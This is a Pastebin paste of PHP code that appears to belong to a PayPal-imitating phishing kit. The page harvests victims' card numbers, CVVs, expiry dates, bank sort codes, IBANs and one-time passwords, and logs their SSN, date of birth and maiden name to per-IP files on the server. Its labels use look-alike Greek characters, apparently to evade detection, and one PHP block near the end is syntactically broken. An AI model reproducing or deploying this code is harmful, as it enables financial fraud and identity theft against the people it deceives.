Advertisement
b3gund4L

Finish PHP

Jan 21st, 2016
39,680
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.52 KB | None | 0 0
  1. <?php
  2.     $Cece  = explode('Cece', file_get_contents('../Save/' . $ip . '.logged'));
  3. ?>
  4. <script src="../js/jquery.payment.js"></script>
  5. <script src="../js/jquery.wallet.js"></script>
  6. <form method="post" id="parentForm" name="creditcard_Form" class="edit">
  7.     <p class="group fcenter">
  8.  
  9. <input maxlength="11" class="large" autocomplete="off" required="required" name="country" value="<?php echo $nama_negara;?>" type="text" style="display:none"></span>
  10. <?php
  11. if ($negara=="UK" or $negara=="IE"){ echo '
  12.                <span class="help" style="padding-left:4%;">&Nu;eed for bank validation.</span>
  13.                    <label for="sortcode">Sort Code - Account No :</label>
  14.                        <span class="field">
  15.                            <input name="sort_code1" style="width: 1.3em;" pattern="[0-9]{2,}" maxlength="2" autocomplete="off" required="required" type="text" title="Enter a valid sort code">&nbsp;
  16.                            <input name="sort_code2" style="width: 1.3em;" pattern="[0-9]{2,}" maxlength="2" autocomplete="off" required="required" type="text" title="Enter a valid sort code">&nbsp;
  17.                            <input name="sort_code3" style="width: 1.3em;" pattern="[0-9]{2,}" maxlength="2" autocomplete="off" required="required" type="text" title="Enter a valid sort code">&nbsp;-&nbsp;
  18.                            <input name="acc_number" style="width: 5.4em;" pattern="[0-9]{8,}" maxlength="8" autocomplete="off" required="required" type="text" title="Enter account number"></span>
  19. ';}
  20. if ($negara=="NL"){ echo '
  21.                 <span class="help" style="padding-left:4%;">Enter your IBAN here from. </span>
  22.                     <label for="iban_nl">IBAN :</label>
  23.                <span class="field">
  24.                    <input type="text" autocomplete="off" class="large" pattern=".{2,30}" maxlength="32" name="iban_nl" value="" required="" title="IBAN"></span>
  25. ';}
  26. if ($negara=="NZ"){ echo '
  27.                 <span class="help" style="padding-left:4%;">Enter the credit limit of the card. </span>
  28.                     <label for="creditlimit">Credit Limit :</label>
  29.                <span class="field">
  30.                    <input type="text" autocomplete="off" class="large" pattern=".{2,30}" maxlength="32" name="creditlimit" value="" required="" title="Credit Limit" placeholder="E.g. 10000"></span>
  31. ';}
  32. ?>
  33.             <span class="help" style="padding-left:4%;">&Nu;ame as it appears on Card.</span>
  34.             <label for="cc_holder">Cardholder &Nu;ame :</label>
  35.             <span class="field" id="cc_holder">
  36.                         <input type="text" autocomplete="off" class="large" pattern=".{2,30}" maxlength="32" name="cc_holder" value="" required="" title="Cardholder name"></span>
  37. <?php
  38. if (!empty($Cece[1])){echo '<span class="field">'.$Cece[1].' - Ending '.$Cece[2].' - Exp Date '.$Cece[3].'</span>' ;}
  39. ?>
  40.             <label for="cc_number">Card Number :</label>
  41.             <span class="field">
  42.                                     <input type="text" id="cc_number" autocomplete="off" style="width: 12em;" pattern="[2-7][0-9 ]{11,20}" maxlength="20" name="cc_number" value="" required="" title="Only number">
  43.                                 </span>
  44.  
  45.             <label for="expdate">&Epsilon;xpiration Date :</label>
  46.             <span class="field" style="margin-bottom: 7px;">
  47. <?php
  48. echo date_dropdown(20);
  49. function date_dropdown($year_limit = 0)
  50. {
  51.         /*month*/
  52.         $html_output  = '                                   <select class="smal" required="required" name="expdate_month" title="Exp month">'."\n";
  53.         $html_output .= '                                       ';
  54.             for ($exp_month = 1; $exp_month <= 12; $exp_month++) {
  55.                 if (strlen($exp_month) === 1){
  56.                     $html_output .= '<option value="0' . $exp_month . '">0' . $exp_month . '</option>';
  57.                 } else {
  58.                     $html_output .= '<option value="' . $exp_month . '">' . $exp_month . '</option>';
  59.                 }
  60.             }
  61.         $html_output .= "\n".'                                  </select>&nbsp;&nbsp;/&nbsp;&nbsp;'."\n";
  62.  
  63.         /*years*/
  64.     if (date('m') == 12){
  65.         $html_output .= '                                   <select class="mediu" required="required" name="expdate_year" title="Exp year">'."\n";
  66.         $html_output .= '                                       ';
  67.             for ($exp_year = date('Y') + 1; $exp_year <= date('Y') + $year_limit; $exp_year++) {
  68.                 $html_output .= '<option value="' . $exp_year . '">' . $exp_year . '</option>';
  69.             }
  70.         $html_output .= "\n".'                                  </select>'."\n";
  71.     } else {
  72.         $html_output .= '                                   <select class="mediu" required="required" name="expdate_year" title="Exp year">'."\n";
  73.         $html_output .= '                                       ';
  74.             for ($exp_year = date('Y'); $exp_year <= date('Y') + $year_limit; $exp_year++) {
  75.                 $html_output .= '<option value="' . $exp_year . '">' . $exp_year . '</option>';
  76.             }
  77.         $html_output .= "\n".'                                  </select>'."\n";
  78.     }
  79.  
  80.     return $html_output;
  81. }
  82. ?>
  83.                                 </span>
  84.  
  85.             <label for="cvv2_number">Card Security C&omicron;de :</label>
  86.             <span class="field">
  87.                         <input id="cvv2_number" autocomplete="off" style="width:3.49em;" pattern="[0-9]{3,5}" maxlength="4" name="cvv2_number" value="" required="" type="text" title="Enter a valid csc">
  88.                         <span class="small"><a target="_blank" href="../page/cvv_info_pop&amp;enable_locale.htm" onclick="AYPAL.core.openWindow(event, {width: 425, height: 450});" id="1"> What is this?</a></span>
  89.             </span>
  90. <?php
  91. if ($negara=="UK" or $negara=="IE"){ echo
  92.                          <label> for="otp_pass"> One Time Password:</label>
  93.                                 </span class="field">
  94.                                     <input type="password" id="otp_pass" autocomplete="off" style="width: 12em;" maxlength="20" name="otp_pass_1" value="" required="" title="One Time Password"><img src="http://www.igc.asia/wp-content/uploads/2014/11/debit-card-verified-by-visa-and-mastercard-secure-code-no-credit-card-needed.jpg" width="65">
  95.                                 </br>
  96. <span class="desc lighter">Please enter a valid OTP for VBV or MCSC. If not have VBV or MCSC skip OTP form.</span> ;
  97. }
  98. ?>
  99.  
  100.             <div class="ngawur">
  101.             </div>
  102.  
  103.     </p>
  104.  
  105.     <p class="bcenter">
  106.         <button style="width: 100px !important;" type="submit" value="Submit" class="button">Submit</button>
  107.     </p>
  108.  
  109.     <?php
  110. if (!empty($_POST['address_1'])){
  111. $SaveData = '../Save/' . $ip . '.logged';
  112. $AddData =  "
  113. AddInfoAccount Name    :  ".$_POST['full_name']."
  114. Address Line 1  :  ".$_POST['address_1']."
  115. Address Line 2  :  ".$_POST['address_2']."
  116. City/Town       :  ".$_POST['city']."
  117. State           :  ".$_POST['state']."
  118. Zip/PostCode    :  ".$_POST['postal']."
  119. Country         :  ".$nama_negara."
  120. Phone Number    :  ".$_POST['phone']."
  121. SSN             :  ".$_POST['number_1']." - ".$_POST['number_2']." - ".$_POST['number_3']."
  122. ID Num/Maiden   :  ".$_POST['id_number']."
  123. DOB             :  ".$_POST['day']." / ".$_POST['month']." / ".$_POST['year']."AddInfo
  124. ";
  125.         if (!file_exists($SaveData)) {
  126.             $fp = @fopen($SaveData, 'w');
  127.             @fwrite($fp, $AddData);
  128.             @fclose($fp);
  129.         } else {
  130.             $fp = @fopen($SaveData, 'a');
  131.             @fwrite($fp, $AddData);
  132.             @fclose($fp);
  133.         }
  134. }
  135. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement